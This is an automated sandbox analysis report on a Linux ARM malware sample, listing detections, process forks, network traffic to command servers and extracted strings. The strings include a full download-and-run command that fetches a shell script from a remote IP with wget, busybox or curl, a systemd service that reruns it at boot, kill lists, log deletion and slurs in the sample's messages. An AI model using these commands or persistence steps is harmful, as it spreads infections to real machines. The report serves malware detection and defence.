Edit tour

Linux Analysis Report
arm.elf

Overview

General Information

Sample name:	arm.elf
Analysis ID:	1585020
MD5:	e4c06f131d9c9081859ab1071b6fa221
SHA1:	b08a82702d62782a9d64b8b5607300ac513c6992
SHA256:	bde1f436368a6eb6cc655643b4a463d4e83e064db00ce12a48d9d3ee6a2ffc99
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Deletes system log files

Manipulation of devices in /dev

Sample deletes itself

Sends malformed DNS queries

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585020
Start date and time:	2025-01-07 00:48:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm.elf
Detection:	MAL
Classification:	mal72.troj.evad.linELF@0/4@54/0

Warnings

VT rate limit hit for: arm.elf

Runtime Messages

Command:	/tmp/arm.elf
PID:	5822
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	made you my bitch
Standard Error:

Process Tree

system is lnxubuntu20

arm.elf (PID: 5822, Parent: 5749, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf

arm.elf New Fork (PID: 5825, Parent: 5822)

arm.elf New Fork (PID: 5827, Parent: 5825)

arm.elf New Fork (PID: 6005, Parent: 5827)

arm.elf New Fork (PID: 6007, Parent: 5827)

arm.elf New Fork (PID: 6013, Parent: 5827)

arm.elf New Fork (PID: 6021, Parent: 5827)

arm.elf New Fork (PID: 6023, Parent: 5827)

arm.elf New Fork (PID: 6029, Parent: 5827)

arm.elf New Fork (PID: 6037, Parent: 5827)

arm.elf New Fork (PID: 6039, Parent: 5827)

arm.elf New Fork (PID: 6084, Parent: 5827)

arm.elf New Fork (PID: 6086, Parent: 5827)

arm.elf New Fork (PID: 6114, Parent: 5827)

arm.elf New Fork (PID: 6115, Parent: 5827)

arm.elf New Fork (PID: 6126, Parent: 5827)

arm.elf New Fork (PID: 6128, Parent: 5827)

arm.elf New Fork (PID: 6137, Parent: 5827)

arm.elf New Fork (PID: 6140, Parent: 5827)

arm.elf New Fork (PID: 6169, Parent: 5827)

arm.elf New Fork (PID: 6171, Parent: 5827)

arm.elf New Fork (PID: 6181, Parent: 5827)

arm.elf New Fork (PID: 6183, Parent: 5827)

arm.elf New Fork (PID: 6188, Parent: 5827)

arm.elf New Fork (PID: 6199, Parent: 5827)

arm.elf New Fork (PID: 6201, Parent: 5827)

arm.elf New Fork (PID: 6207, Parent: 5827)

arm.elf New Fork (PID: 6212, Parent: 5827)

arm.elf New Fork (PID: 6221, Parent: 5827)

arm.elf New Fork (PID: 6223, Parent: 5827)

arm.elf New Fork (PID: 6231, Parent: 5827)

arm.elf New Fork (PID: 6234, Parent: 5827)

arm.elf New Fork (PID: 6242, Parent: 5827)

arm.elf New Fork (PID: 6247, Parent: 5827)

arm.elf New Fork (PID: 6256, Parent: 5827)

arm.elf New Fork (PID: 6258, Parent: 5827)

arm.elf New Fork (PID: 6262, Parent: 5827)

arm.elf New Fork (PID: 6265, Parent: 5827)

arm.elf New Fork (PID: 6276, Parent: 5827)

arm.elf New Fork (PID: 6279, Parent: 5827)

arm.elf New Fork (PID: 6282, Parent: 5827)

arm.elf New Fork (PID: 6293, Parent: 5827)

arm.elf New Fork (PID: 6295, Parent: 5827)

arm.elf New Fork (PID: 6303, Parent: 5827)

arm.elf New Fork (PID: 6306, Parent: 5827)

arm.elf New Fork (PID: 6308, Parent: 5827)

arm.elf New Fork (PID: 6312, Parent: 5827)

arm.elf New Fork (PID: 6315, Parent: 5827)

arm.elf New Fork (PID: 6329, Parent: 5827)

arm.elf New Fork (PID: 6334, Parent: 5827)

arm.elf New Fork (PID: 5829, Parent: 5825)

arm.elf New Fork (PID: 5833, Parent: 5829)

arm.elf New Fork (PID: 5831, Parent: 5825)

sh (PID: 5831, Parent: 5825, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 5835, Parent: 5831)

systemctl (PID: 5835, Parent: 5831, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

arm.elf New Fork (PID: 5839, Parent: 5825)

sh (PID: 5839, Parent: 5825, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable startup_command.service"

sh New Fork (PID: 5841, Parent: 5839)

systemctl (PID: 5841, Parent: 5839, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable startup_command.service

systemd New Fork (PID: 5837, Parent: 5836)

snapd-env-generator (PID: 5837, Parent: 5836, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5843, Parent: 5842)

snapd-env-generator (PID: 5843, Parent: 5842, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

gnome-session-binary New Fork (PID: 5865, Parent: 1498)

sh (PID: 5865, Parent: 1498, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill

gsd-rfkill (PID: 5865, Parent: 1498, MD5: 88a16a3c0aba1759358c06215ecfb5cc) Arguments: /usr/libexec/gsd-rfkill

systemd New Fork (PID: 5870, Parent: 1)

systemd-hostnamed (PID: 5870, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

gdm3 New Fork (PID: 6003, Parent: 1333)

Default (PID: 6003, Parent: 1333, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 6004, Parent: 1333)

Default (PID: 6004, Parent: 1333, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 6045, Parent: 1)

systemd-user-runtime-dir (PID: 6045, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm.elf

ReversingLabs: Detection: 55%

Source: arm.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: arm.elf	String: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/consolew/etc/systemd/system/startup_command.service[Unit]
Source: arm.elf	String: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch
Source: startup_command.service.13.dr	String: ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh (null)

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: tcpdown.suo. [malformed]

Source: global traffic	TCP traffic: 192.168.2.15:38196 -> 23.94.242.130:2601
Source: global traffic	TCP traffic: 192.168.2.15:44026 -> 107.175.130.16:7722

Source: /tmp/arm.elf (PID: 5822)

Socket: 127.0.0.1:39123

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.16

Source: global traffic	DNS traffic detected: DNS query: tcpdown.su
Source: global traffic	DNS traffic detected: DNS query: tcpdown.su\|1
Source: global traffic	DNS traffic detected: DNS query: tcpdown.su
Source: global traffic	DNS traffic detected: DNS query: tcpdown.suo. [malformed]

Source: startup_command.service.13.dr	String found in binary or memory: http://154.216.20.138/auto.sh
Source: arm.elf, startup_command.service.13.dr	String found in binary or memory: http://154.216.20.138/auto.sh;

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe//mnt/root/dev/consolew/etc/systemd/system/startup_command.service[Unit]
Source: Initial sample	String containing 'busybox' found: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/arm.elf (PID: 5829)	SIGKILL sent: pid: 724, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	SIGKILL sent: pid: 931, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	SIGKILL sent: pid: 933, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	SIGKILL sent: pid: 1617, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	SIGKILL sent: pid: 1679, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	SIGKILL sent: pid: 3052, result: successful	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	SIGKILL sent: pid: 5865, result: successful	Jump to behavior

Source: classification engine

Classification label: mal72.troj.evad.linELF@0/4@54/0

Data Obfuscation

Manipulation of devices in /dev

Source: /tmp/arm.elf (PID: 5827)

Deleted: /dev/kmsg

Jump to behavior

Source: /usr/libexec/gsd-rfkill (PID: 5865)	Directory: <invalid fd (9)>/..	Jump to behavior
Source: /usr/libexec/gsd-rfkill (PID: 5865)	Directory: <invalid fd (8)>/..	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5870)	Directory: <invalid fd (10)>/..	Jump to behavior

Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/4048/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/4048/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/4048/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/4048/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/4048/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/4048/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5829)	File opened: /proc/911/cmdline	Jump to behavior

Source: /tmp/arm.elf (PID: 5831)	Shell command executed: sh -c "systemctl daemon-reload"			Jump to behavior
Source: /tmp/arm.elf (PID: 5839)	Shell command executed: sh -c "systemctl enable startup_command.service"			Jump to behavior

Source: /bin/sh (PID: 5835)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /bin/sh (PID: 5841)	Systemctl executable: /usr/bin/systemctl -> systemctl enable startup_command.service			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/arm.elf (PID: 5827)

Log files deleted: /var/log/kern.log

Jump to behavior

Sample deletes itself

Source: /tmp/arm.elf (PID: 5822)

File: /tmp/arm.elf

Jump to behavior

Source: /tmp/arm.elf (PID: 5822)	Queries kernel information via 'uname':			Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5870)	Queries kernel information via 'uname':			Jump to behavior

Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware
Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware/VGAuth/aliasStore
Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: /arm/var/lib/vmware/VGAuth
Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: V/arm/var/lib/vmware/VGAuthP0/var/lib/vmware/VGAuth/aliasStoreQ
Source: arm.elf, 6276.1.00007f645c045000.00007f645c251000.rw-.sdmp	Binary or memory string: /var/lib/vmware
Source: arm.elf, 6276.1.00007f645c034000.00007f645c045000.rw-.sdmp	Binary or memory string: /tmp/vmware-root_724-2965906890
Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: P /var/lib/vmwareQ
Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: V/arm/ro10!/proc/5808/cmdline!/proc/306/cmdline1/var/lib/snapd/environment0!/proc/5773/cmdline!/proc/307/cmdline1/var/lib/php/modules/7.4/cli0!/proc/5668/cmdline!/proc/308/cmdline1/var/lib/php/modules/7.4/registry!/proc/4048/cmdline!/proc/309/cmdline1/tmp/hsperfdata_rootro10!/proc/3803/cmdline!/proc/310/cmdline1/var/lib/python/arm/ro10!/proc/3802/cmdline!/proc/311/cmdline1/var/lib/snapd/libm/ro10!/proc/3801/cmdline!/proc/312/cmdline1/var/lib/unattended-upgrades0!/proc/3800/cmdline!/proc/313/cmdline1/var/lib/snapd/inhibito10!/proc/3725/cmdline!/proc/314/cmdline1/var/lib/emacsen-common/state/package!/proc/3488/cmdline!/proc/315/cmdline1/tmp/ssh-oCVxfzsbTQaTro10!/proc/3483/cmdline!/proc/316/cmdline1/var/lib/emacsen-common/state/flavor!/proc/3475/cmdline!/proc/317/cmdline1/var/lib/snapd/snapsro10!/proc/3469/cmdline!/proc/318/cmdline1/var/lib/emacsen-common10!/proc/3465/cmdline!/proc/319/cmdline1/var/lib/snapd/dbus-1/services0!/proc/3461/cmdline!/proc/320/cmdline1/var/lib/aspell/arm/ro10!/proc/3456/cmdline!/proc/321/cmdline1/var/lib/snapd/ssl/store-certs0!/proc/3440/cmdline!/proc/322/cmdline1/var/lib/bluetoothm/ro10!/proc/3419/cmdline!/proc/323/cmdline1/var/lib/snapd/features10!/proc/3407/cmdline!/proc/324/cmdline1/var/lib/apt/lists/partial0!/proc/3399/cmdline!/proc/325/cmdline1/var/lib/aptV/arm/ro10!/proc/3394/cmdline!/proc/326/cmdline1/tmp/snap-private-tmpro10!/proc/3379/cmdline!/proc/327/cmdline1/var/lib/snapd/lib/glro10!/proc/3368/cmdline!/proc/328/cmdline1/tmp/snap-private-tmp/snap.lxd/tmp!/proc/3332/cmdline!/proc/329/cmdline1/tmp/vmware-root_724-29659068900!/proc/3316/cmdline!/proc/333/cmdline1/tmp/snap.lxd/arm/ro10!/proc/3310/cmdline!/proc/347/cmdline1/var/lib/php/modulesro10!/proc/3303/cmdline!/proc/378/cmdline1/tmp/snap.lxd/tmprm/ro10!/proc/3298/cmdline!/proc/418/cmdline1/var/lib/snapd/seccompo10!/proc/3292/cmdline!/proc/419/cmdline1/var/log/unattended-upgrades0!/proc/3278/cmdline!/proc/490/cmdline1/var
Source: arm.elf, 6276.1.00007f645c045000.00007f645c251000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth/aliasStore
Source: arm.elf, 6276.1.00007f645c045000.00007f645c251000.rw-.sdmp	Binary or memory string: /var/lib/boltd8/var/lib/vmwareT
Source: arm.elf, 5822.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp	Binary or memory string: V/tmp/qemu-open.CjSZ5o:
